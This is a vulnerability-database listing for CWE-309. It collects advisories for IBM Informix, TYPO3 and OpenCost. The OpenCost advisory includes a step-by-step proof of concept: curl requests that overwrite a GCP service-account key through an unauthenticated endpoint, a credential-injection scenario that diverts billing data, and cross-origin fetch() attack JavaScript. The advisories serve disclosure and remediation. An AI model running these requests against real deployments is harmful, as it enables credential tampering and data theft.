Common Weakness Enumeration

CWE-309

Allowed

Use of Password System for Primary Authentication

Abstraction: Base · Status: Draft

The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.

4 vulnerabilities reference this CWE, most recent first.

CVE-2024-45675 (GCVE-0-2024-45675)

Vulnerability from cvelistv5 – Published: 2025-12-02 02:00 – Updated: 2026-02-26 16:57
VLAI
Title
IBM Informix Dynamic Server Authentication Bypass
Summary
IBM Informix Dynamic Server 14.10 could allow a local user on the system to log into the Informix server as administrator without a password.
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
  • CWE-309 - Use of Password System for Primary Authentication
Assigner
ibm
References
URL Tags
https://www.ibm.com/support/pages/node/7252704 vendor-advisorypatch
Impacted products
Vendor Product Version
IBM Informix Dynamic Server Affected: 14.10
    cpe:2.3:a:ibm:informix_dynamic_server:14.10:*:*:*:*:*:*:*
Create a notification for this product.
Show details on NVD website

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-45675",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-12-03T04:55:39.716301Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-02-26T16:57:48.171Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "cpes": [
            "cpe:2.3:a:ibm:informix_dynamic_server:14.10:*:*:*:*:*:*:*"
          ],
          "product": "Informix Dynamic Server",
          "vendor": "IBM",
          "versions": [
            {
              "status": "affected",
              "version": "14.10"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eIBM Informix Dynamic Server 14.10 could allow a local user on the system to log into the Informix server as administrator without a password.\u003c/p\u003e"
            }
          ],
          "value": "IBM Informix Dynamic Server 14.10 could allow a local user on the system to log into the Informix server as administrator without a password."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 8.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-309",
              "description": "CWE-309 Use of Password System for Primary Authentication",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-12-02T02:00:26.554Z",
        "orgId": "9a959283-ebb5-44b6-b705-dcc2bbced522",
        "shortName": "ibm"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory",
            "patch"
          ],
          "url": "https://www.ibm.com/support/pages/node/7252704"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eRemediation/Fixes Impact is limited to Informix Server on Windows. No exploitation has been observed or is possible on non\u2011Windows platforms. Update to IBM Informix Dynamic Server 14.10.xC11W1. Fix is available on IBM Fix Central - Select Fixes - Informix Server . Follow the instructions for Database server upgrades in the Informix Servers documentation Follow the instructions to install or upgrade Informix in the What\u0027s new and changed in Informix in the IBM Cloud Pak for Data documentation.\u003c/p\u003e"
            }
          ],
          "value": "Remediation/Fixes Impact is limited to Informix Server on Windows. No exploitation has been observed or is possible on non\u2011Windows platforms. Update to IBM Informix Dynamic Server 14.10.xC11W1. Fix is available on IBM Fix Central - Select Fixes - Informix Server . Follow the instructions for Database server upgrades in the Informix Servers documentation Follow the instructions to install or upgrade Informix in the What\u0027s new and changed in Informix in the IBM Cloud Pak for Data documentation."
        }
      ],
      "title": "IBM Informix Dynamic Server Authentication Bypass",
      "x_generator": {
        "engine": "ibm-cvegen"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "9a959283-ebb5-44b6-b705-dcc2bbced522",
    "assignerShortName": "ibm",
    "cveId": "CVE-2024-45675",
    "datePublished": "2025-12-02T02:00:26.554Z",
    "dateReserved": "2024-09-03T13:50:43.964Z",
    "dateUpdated": "2026-02-26T16:57:48.171Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-4P8F-FWRJ-RJHQ

Vulnerability from github – Published: 2025-12-02 03:31 – Updated: 2025-12-02 03:31
VLAI
Details

IBM Informix Dynamic Server 14.10 could allow a local user on the system to log into the Informix server as administrator without a password.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-45675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-309"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-02T03:16:14Z",
    "severity": "HIGH"
  },
  "details": "IBM Informix Dynamic Server 14.10 could allow a local user on the system to log into the Informix server as administrator without a password.",
  "id": "GHSA-4p8f-fwrj-rjhq",
  "modified": "2025-12-02T03:31:44Z",
  "published": "2025-12-02T03:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45675"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7252704"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-657M-V5VM-F6RW

Vulnerability from github – Published: 2021-10-05 20:23 – Updated: 2024-02-05 11:18
VLAI
Summary
Cross-Site-Request-Forgery in Backend
Details

Meta

  • CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C (8.2)

Problem

It has been discovered that the new TYPO3 v11 feature that allows users to create and share deep links in the backend user interface is vulnerable to cross-site-request-forgery.

The impact is the same as described in TYPO3-CORE-SA-2020-006 (CVE-2020-11069). However, it is not limited to the same site context and does not require the attacker to be authenticated. In a worst case scenario, the attacker could create a new admin user account to compromise the system.

To successfully carry out an attack, an attacker must trick his victim to access a compromised system. The victim must have an active session in the TYPO3 backend at that time.

The following Same-Site cookie settings in $GLOBALS[TYPO3_CONF_VARS][BE][cookieSameSite] are required for an attack to be successful:

  • SameSite=strict: malicious evil.example.org invoking TYPO3 application at good.example.org
  • SameSite=lax or none: malicious evil.com invoking TYPO3 application at example.org

Solution

Update your instance to TYPO3 version 11.5.0 which addresses the problem described.

Credits

Thanks to Richie Lee who reported this issue and to TYPO3 core & security team members Benni Mack and Oliver Hader who fixed the issue.

References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.2.0"
            },
            {
              "fixed": "11.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.2.0"
            },
            {
              "fixed": "11.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-41113"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-309",
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-10-05T18:48:07Z",
    "nvd_published_at": "2021-10-05T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "\u003e ### Meta\n\u003e * CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C` (8.2)\n\n### Problem\nIt has been discovered that the new TYPO3 v11 feature that allows users to create and share [deep links in the backend user interface](https://typo3.org/article/typo3-version-112-escape-the-orbit#c12178) is vulnerable to cross-site-request-forgery.\n\nThe impact is the same as described in [TYPO3-CORE-SA-2020-006 (CVE-2020-11069)](https://typo3.org/security/advisory/typo3-core-sa-2020-006). However, it is not limited to the same site context and does not require the attacker to be authenticated. In a worst case scenario, the attacker could create a new admin user account to compromise the system.\n\nTo successfully carry out an attack, an attacker must trick his victim to access a compromised system. The victim must have an active session in the TYPO3 backend at that time.\n\nThe following [Same-Site cookie settings](https://docs.typo3.org/c/typo3/cms-core/master/en-us/Changelog/8.7.x/Feature-90351-ConfigureTYPO3-shippedCookiesWithSameSiteFlag.html) in _$GLOBALS[TYPO3_CONF_VARS][BE][cookieSameSite]_ are required for an attack to be successful:\n\n* _SameSite=_***strict***: malicious evil.**example.org** invoking TYPO3 application at good.**example.org**\n* _SameSite=_***lax*** or ***none***: malicious **evil.com** invoking TYPO3 application at **example.org**\n\n### Solution\nUpdate your instance to TYPO3 version 11.5.0 which addresses the problem described.\n\n### Credits\nThanks to Richie Lee who reported this issue and to TYPO3 core \u0026 security team members Benni Mack and Oliver Hader who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-014](https://typo3.org/security/advisory/typo3-core-sa-2021-014)\n* [CVE-2020-11069](https://nvd.nist.gov/vuln/detail/CVE-2020-11069) reintroduced in TYPO3 v11.2.0",
  "id": "GHSA-657m-v5vm-f6rw",
  "modified": "2024-02-05T11:18:00Z",
  "published": "2021-10-05T20:23:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-657m-v5vm-f6rw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11069"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41113"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/typo3/commit/fa51999203c5e5d913ecae5ea843ccb2b95fa33f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms-core/CVE-2021-41113.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms/CVE-2021-41113.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TYPO3/typo3"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-core-sa-2020-006"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-core-sa-2021-014"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cross-Site-Request-Forgery in Backend"
}

GHSA-WMJ8-9953-VFF5

Vulnerability from github – Published: 2026-07-14 17:07 – Updated: 2026-07-14 17:19
VLAI
Summary
OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection
Details

Summary

OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.


Affected Versions

  • OpenCost: All versions up to and including the latest release
  • Vulnerable File: pkg/costmodel/router.go (lines 365-379)
  • Vulnerable Endpoint: POST /serviceKey

Vulnerability Details

Root Cause

The AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:

func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("Access-Control-Allow-Origin", "*")  // Overly permissive CORS

    r.ParseForm()

    key := r.PostForm.Get("key")  // User-controlled input, no validation
    k := []byte(key)
    err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644)  //  Direct file write
    if err != nil {
        fmt.Fprintf(w, "Error writing service key: %s", err)
    }

    w.WriteHeader(http.StatusOK)
}

File Path Determination (core/pkg/env/core.go):

func GetGCPAuthSecretFilePath() string {
    return GetPathFromConfig("key.json")
}

func GetPathFromConfig(fileName string) string {
    return filepath.Join(GetConfigPath(), fileName)
}

func GetConfigPath() string {
    return Get(ConfigPathEnvVar, DefaultConfigPath)  // Default: /var/configs
}

Security Issues

  1. No Authentication: Any network-accessible client can invoke the endpoint
  2. No Input Validation: User input is not validated as a valid GCP service account key
  3. Overly Permissive CORS: Access-Control-Allow-Origin: * allows cross-origin attacks
  4. Predictable File Path: File location controlled by CONFIG_PATH environment variable

Proof of Concept

Environment Setup

Prerequisites

  • Kubernetes cluster (tested on kind v1.30.0)
  • Helm 3.x
  • kubectl configured

Step 1: Create Namespace

kubectl create namespace opencost

Output:

namespace/opencost created

Step 2: Add OpenCost Helm Repository

helm repo add opencost https://opencost.github.io/opencost-helm-chart
helm repo update

Output:

"opencost" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "opencost" chart repository
Update Complete. Happy Helming!

Step 3: Deploy OpenCost

helm install opencost opencost/opencost --namespace opencost \
  --set opencost.exporter.defaultClusterId=test-cluster \
  --set opencost.prometheus.internal.enabled=true \
  --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \
  --set opencost.prometheus.internal.namespaceName=monitoring \
  --set opencost.prometheus.internal.port=9090 \
  --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'

Key Configuration: - CONFIG_PATH=/tmp: Sets writable directory for file operations

Output:

NAME: opencost
LAST DEPLOYED: Sun Jan 18 00:39:21 2026
NAMESPACE: opencost
STATUS: deployed
REVISION: 1

Step 4: Verify Deployment

kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost

Output:

NAME                      READY   STATUS    RESTARTS   AGE
opencost-db97bbcc-5q8cb   2/2     Running   0          44s

Step 5: Verify Service Accessibility

kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \
  curl -v http://opencost.opencost.svc.cluster.local:9003/healthz

Output:

< HTTP/1.1 200 OK
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:32:07 GMT
< Content-Length: 0

Exploitation

Step 6: Check Initial State

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

cat: can't open '/tmp/key.json': No such file or directory

Note: File does not exist initially

Step 7: Verify CONFIG_PATH Configuration

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH

Output:

CONFIG_PATH=/tmp

Note: CONFIG_PATH correctly set to /tmp

Step 8: Execute Exploit

MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'

kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \
  curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "key=${MALICIOUS_CONTENT}" \
  -v

Request Details:

> POST /serviceKey HTTP/1.1
> Host: opencost.opencost.svc.cluster.local:9003
> User-Agent: curl/8.18.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 244

Response Details:

< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: application/json
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:42:29 GMT
< Content-Length: 0

Result: HTTP 200 OK - Request successful without authentication

Step 9: Verify File Write

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}

Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file


Impact Analysis

Direct Impact

Impact Type Severity Description
Unauthorized Credential Overwrite High Attacker can overwrite GCP service account key file content
No Authentication Required High Vulnerability can be exploited without any credentials
CORS Misconfiguration Medium Allows cross-origin attacks via malicious websites
Fixed File Path Low Attacker cannot control write location, only content

Attack Scenario Analysis

Scenario 1: GCP Credential Overwrite Leading to Service Disruption

Attack Steps: 1. Attacker sends POST request with invalid JSON or malformed GCP key 2. /serviceKey endpoint accepts request and overwrites existing key.json file 3. OpenCost attempts to access GCP API with corrupted credentials 4. GCP integration fails, cost data collection stops

Technical Details:

# Attack payload example
curl -X POST http://opencost:9003/serviceKey \
  -d 'key={"invalid":"json","corrupted":"credentials"}'

Impact: - Cost Monitoring Disruption: Unable to retrieve GCP cloud cost data - Operational Impact: FinOps processes dependent on cost data are blocked - Availability Degradation: Manual intervention required to restore correct credentials

CVSS Impact Score: Availability impact is Low (A:L)


Scenario 2: Malicious Credential Injection for Data Hijacking

Attack Steps: 1. Attacker creates their own GCP project and service account 2. Injects attacker-controlled valid GCP credentials into OpenCost 3. OpenCost uses attacker's credentials to send requests to GCP Billing API 4. Target organization's cost data is sent to attacker's GCP project

Technical Details:

# Inject attacker credentials
ATTACKER_KEY='{
  "type": "service_account",
  "project_id": "attacker-billing-project",
  "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
  "client_email": "opencost-hijack@attacker-project.iam.gserviceaccount.com"
}'

curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}"

Impact: - Sensitive Data Leakage: Organization's cloud resource usage patterns and cost details - Business Intelligence Leakage: Can infer business scale, growth trends, technology stack - Compliance Risk: Cost data may contain protected business information

Data Leakage Examples: - Kubernetes cluster size and node configuration - Resource consumption per namespace (can map to business units) - Cloud service usage patterns (databases, storage, compute instance types) - Cost trends (can infer business growth or contraction)

CVSS Impact Score: Confidentiality impact is None (C:N), but business impact is High


Scenario 3: Cross-Origin Attack (CORS Exploitation)

Attack Steps: 1. User visits attacker-controlled malicious website 2. Malicious JavaScript sends POST request to http://localhost:9003/serviceKey 3. Due to CORS set to *, browser allows cross-origin request 4. User's browser acts as proxy to execute credential overwrite attack

Prerequisites: - User exposes OpenCost service via kubectl port-forward or other means - User's browser can access OpenCost endpoint

Technical Details:

// JavaScript on malicious website
fetch('http://localhost:9003/serviceKey', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'key={"type":"malicious"}'
});

Impact: - User-Unaware Attack: No active user interaction required - Difficult to Trace: Attack originates from victim's IP address - Limited Exploitation Conditions: Requires OpenCost exposed to user-accessible network


Vulnerability Limitations

What Attacker Cannot Control: - File Write Path: Fixed by CONFIG_PATH environment variable, attacker cannot modify - File Name: Fixed as key.json, cannot write to other files - File Permissions: Write permission is 0644, attacker cannot escalate

Actual Attack Capabilities: - File Content Control: Complete control over key.json content - Unauthenticated Exploitation: No credentials required to trigger - Remote Accessibility: Can be exploited over network (if service exposed)


Real-World Impact Assessment

Deployment Scenario Risk Level Description
Cluster-Internal Only Medium Requires attacker to have cluster network access
Exposed via Ingress High Any internet user can exploit
Exposed via NodePort High Attackers with node network access can exploit
Via port-forward Medium-High Local dev environments vulnerable to CORS attacks

Recommended Risk Rating: - Default deployment (cluster-internal): Medium - Improperly exposed (public internet): High


Remediation

Immediate Actions (P0)

1. Add Authentication

func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    // Add authentication check
    if !a.isAuthorized(r) {
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }

    // ... existing logic
}

2. Implement Input Validation

func validateServiceKey(key string) error {
    var keyData map[string]interface{}
    if err := json.Unmarshal([]byte(key), &keyData); err != nil {
        return fmt.Errorf("invalid JSON format")
    }

    requiredFields := []string{"type", "project_id", "private_key_id", "private_key"}
    for _, field := range requiredFields {
        if _, ok := keyData[field]; !ok {
            return fmt.Errorf("missing required field: %s", field)
        }
    }

    if keyData["type"] != "service_account" {
        return fmt.Errorf("invalid key type")
    }

    return nil
}

3. Restrict CORS

w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN"))

Long-term Solutions (P1)

  1. Use Kubernetes Secrets: Store credentials in Kubernetes Secrets instead of files
  2. Implement RBAC: Role-based access control for sensitive operations
  3. Add Audit Logging: Log all file write operations
  4. Apply Least Privilege: Minimize ClusterRole permissions

Workarounds

Until a patch is available, implement these mitigations:

  1. Network Segmentation: Restrict access to OpenCost service using NetworkPolicies
  2. Disable Endpoint: Remove or disable the /serviceKey endpoint if not required
  3. Monitor File Changes: Alert on modifications to key.json file
  4. Use Read-only Filesystem: Mount config directory as read-only where possible

References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencost/opencost"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.119.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44300"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-309"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T17:07:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOpenCost contains an unauthenticated  file write vulnerability in the `/serviceKey` endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.\n\n---\n\n\n## Affected Versions\n\n- **OpenCost**: All versions up to and including the latest release\n- **Vulnerable File**: `pkg/costmodel/router.go` (lines 365-379)\n- **Vulnerable Endpoint**: `POST /serviceKey`\n\n---\n\n## Vulnerability Details\n\n### Root Cause\n\nThe `AddServiceKey` function in `pkg/costmodel/router.go` accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:\n\n```go\nfunc (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n    w.Header().Set(\"Content-Type\", \"application/json\")\n    w.Header().Set(\"Access-Control-Allow-Origin\", \"*\")  // Overly permissive CORS\n\n    r.ParseForm()\n\n    key := r.PostForm.Get(\"key\")  // User-controlled input, no validation\n    k := []byte(key)\n    err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644)  //  Direct file write\n    if err != nil {\n        fmt.Fprintf(w, \"Error writing service key: %s\", err)\n    }\n\n    w.WriteHeader(http.StatusOK)\n}\n```\n\n**File Path Determination** (`core/pkg/env/core.go`):\n```go\nfunc GetGCPAuthSecretFilePath() string {\n    return GetPathFromConfig(\"key.json\")\n}\n\nfunc GetPathFromConfig(fileName string) string {\n    return filepath.Join(GetConfigPath(), fileName)\n}\n\nfunc GetConfigPath() string {\n    return Get(ConfigPathEnvVar, DefaultConfigPath)  // Default: /var/configs\n}\n```\n\n### Security Issues\n\n1. **No Authentication**: Any network-accessible client can invoke the endpoint\n2. **No Input Validation**: User input is not validated as a valid GCP service account key\n3. **Overly Permissive CORS**: `Access-Control-Allow-Origin: *` allows cross-origin attacks\n4. **Predictable File Path**: File location controlled by `CONFIG_PATH` environment variable\n\n---\n\n## Proof of Concept\n\n### Environment Setup\n\n#### Prerequisites\n- Kubernetes cluster (tested on kind v1.30.0)\n- Helm 3.x\n- kubectl configured\n\n#### Step 1: Create Namespace\n\n```bash\nkubectl create namespace opencost\n```\n\n**Output**:\n```\nnamespace/opencost created\n```\n\n#### Step 2: Add OpenCost Helm Repository\n\n```bash\nhelm repo add opencost https://opencost.github.io/opencost-helm-chart\nhelm repo update\n```\n\n**Output**:\n```\n\"opencost\" has been added to your repositories\nHang tight while we grab the latest from your chart repositories...\n...Successfully got an update from the \"opencost\" chart repository\nUpdate Complete. Happy Helming!\n```\n\n#### Step 3: Deploy OpenCost\n\n```bash\nhelm install opencost opencost/opencost --namespace opencost \\\n  --set opencost.exporter.defaultClusterId=test-cluster \\\n  --set opencost.prometheus.internal.enabled=true \\\n  --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \\\n  --set opencost.prometheus.internal.namespaceName=monitoring \\\n  --set opencost.prometheus.internal.port=9090 \\\n  --set-string \u0027opencost.exporter.extraEnv.CONFIG_PATH=/tmp\u0027\n```\n\n**Key Configuration**:\n- `CONFIG_PATH=/tmp`: Sets writable directory for file operations\n\n**Output**:\n```\nNAME: opencost\nLAST DEPLOYED: Sun Jan 18 00:39:21 2026\nNAMESPACE: opencost\nSTATUS: deployed\nREVISION: 1\n```\n\n#### Step 4: Verify Deployment\n\n```bash\nkubectl get pods -l app.kubernetes.io/instance=opencost -n opencost\n```\n\n**Output**:\n```\nNAME                      READY   STATUS    RESTARTS   AGE\nopencost-db97bbcc-5q8cb   2/2     Running   0          44s\n```\n\n#### Step 5: Verify Service Accessibility\n\n```bash\nkubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \\\n  curl -v http://opencost.opencost.svc.cluster.local:9003/healthz\n```\n\n**Output**:\n```\n\u003c HTTP/1.1 200 OK\n\u003c Vary: Origin\n\u003c Date: Sat, 17 Jan 2026 16:32:07 GMT\n\u003c Content-Length: 0\n```\n\n### Exploitation\n\n#### Step 6: Check Initial State\n\n```bash\nkubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json\n```\n\n**Output**:\n```\ncat: can\u0027t open \u0027/tmp/key.json\u0027: No such file or directory\n```\n\nNote: File does not exist initially\n\n#### Step 7: Verify CONFIG_PATH Configuration\n\n```bash\nkubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH\n```\n\n**Output**:\n```\nCONFIG_PATH=/tmp\n```\n\nNote: CONFIG_PATH correctly set to /tmp\n\n#### Step 8: Execute Exploit\n\n```bash\nMALICIOUS_CONTENT=\u0027{\"type\":\"VULNERABILITY_PROOF\",\"vuln_id\":\"VUL-002\",\"timestamp\":\"2026-01-18T00:41:00Z\",\"message\":\"Arbitrary file write without authentication - SUCCESSFUL\",\"injected_by\":\"security_researcher\",\"evidence\":\"This proves the vulnerability exists\"}\u0027\n\nkubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \\\n  curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"key=${MALICIOUS_CONTENT}\" \\\n  -v\n```\n\n**Request Details**:\n```\n\u003e POST /serviceKey HTTP/1.1\n\u003e Host: opencost.opencost.svc.cluster.local:9003\n\u003e User-Agent: curl/8.18.0\n\u003e Accept: */*\n\u003e Content-Type: application/x-www-form-urlencoded\n\u003e Content-Length: 244\n```\n\n**Response Details**:\n```\n\u003c HTTP/1.1 200 OK\n\u003c Access-Control-Allow-Origin: *\n\u003c Content-Type: application/json\n\u003c Vary: Origin\n\u003c Date: Sat, 17 Jan 2026 16:42:29 GMT\n\u003c Content-Length: 0\n```\n\nResult: HTTP 200 OK - Request successful without authentication\n\n#### Step 9: Verify File Write\n\n```bash\nkubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json\n```\n\n**Output**:\n```json\n{\"type\":\"VULNERABILITY_PROOF\",\"vuln_id\":\"VUL-002\",\"timestamp\":\"2026-01-18T00:41:00Z\",\"message\":\"Arbitrary file write without authentication - SUCCESSFUL\",\"injected_by\":\"security_researcher\",\"evidence\":\"This proves the vulnerability exists\"}\n```\n\nResult: VULNERABILITY CONFIRMED - Malicious content successfully written to file\n\n---\n\n## Impact Analysis\n\n### Direct Impact\n\n| Impact Type | Severity | Description |\n|------------|----------|-------------|\n| **Unauthorized Credential Overwrite** | High | Attacker can overwrite GCP service account key file content |\n| **No Authentication Required** | High | Vulnerability can be exploited without any credentials |\n| **CORS Misconfiguration** | Medium | Allows cross-origin attacks via malicious websites |\n| **Fixed File Path** | Low | Attacker cannot control write location, only content |\n\n### Attack Scenario Analysis\n\n#### Scenario 1: GCP Credential Overwrite Leading to Service Disruption\n\n**Attack Steps**:\n1. Attacker sends POST request with invalid JSON or malformed GCP key\n2. `/serviceKey` endpoint accepts request and overwrites existing `key.json` file\n3. OpenCost attempts to access GCP API with corrupted credentials\n4. GCP integration fails, cost data collection stops\n\n**Technical Details**:\n```bash\n# Attack payload example\ncurl -X POST http://opencost:9003/serviceKey \\\n  -d \u0027key={\"invalid\":\"json\",\"corrupted\":\"credentials\"}\u0027\n```\n\n**Impact**:\n- **Cost Monitoring Disruption**: Unable to retrieve GCP cloud cost data\n- **Operational Impact**: FinOps processes dependent on cost data are blocked\n- **Availability Degradation**: Manual intervention required to restore correct credentials\n\n**CVSS Impact Score**: Availability impact is Low (A:L)\n\n---\n\n#### Scenario 2: Malicious Credential Injection for Data Hijacking\n\n**Attack Steps**:\n1. Attacker creates their own GCP project and service account\n2. Injects attacker-controlled valid GCP credentials into OpenCost\n3. OpenCost uses attacker\u0027s credentials to send requests to GCP Billing API\n4. Target organization\u0027s cost data is sent to attacker\u0027s GCP project\n\n**Technical Details**:\n```bash\n# Inject attacker credentials\nATTACKER_KEY=\u0027{\n  \"type\": \"service_account\",\n  \"project_id\": \"attacker-billing-project\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----\\n...\\n-----END PRIVATE KEY-----\\n\",\n  \"client_email\": \"opencost-hijack@attacker-project.iam.gserviceaccount.com\"\n}\u0027\n\ncurl -X POST http://opencost:9003/serviceKey -d 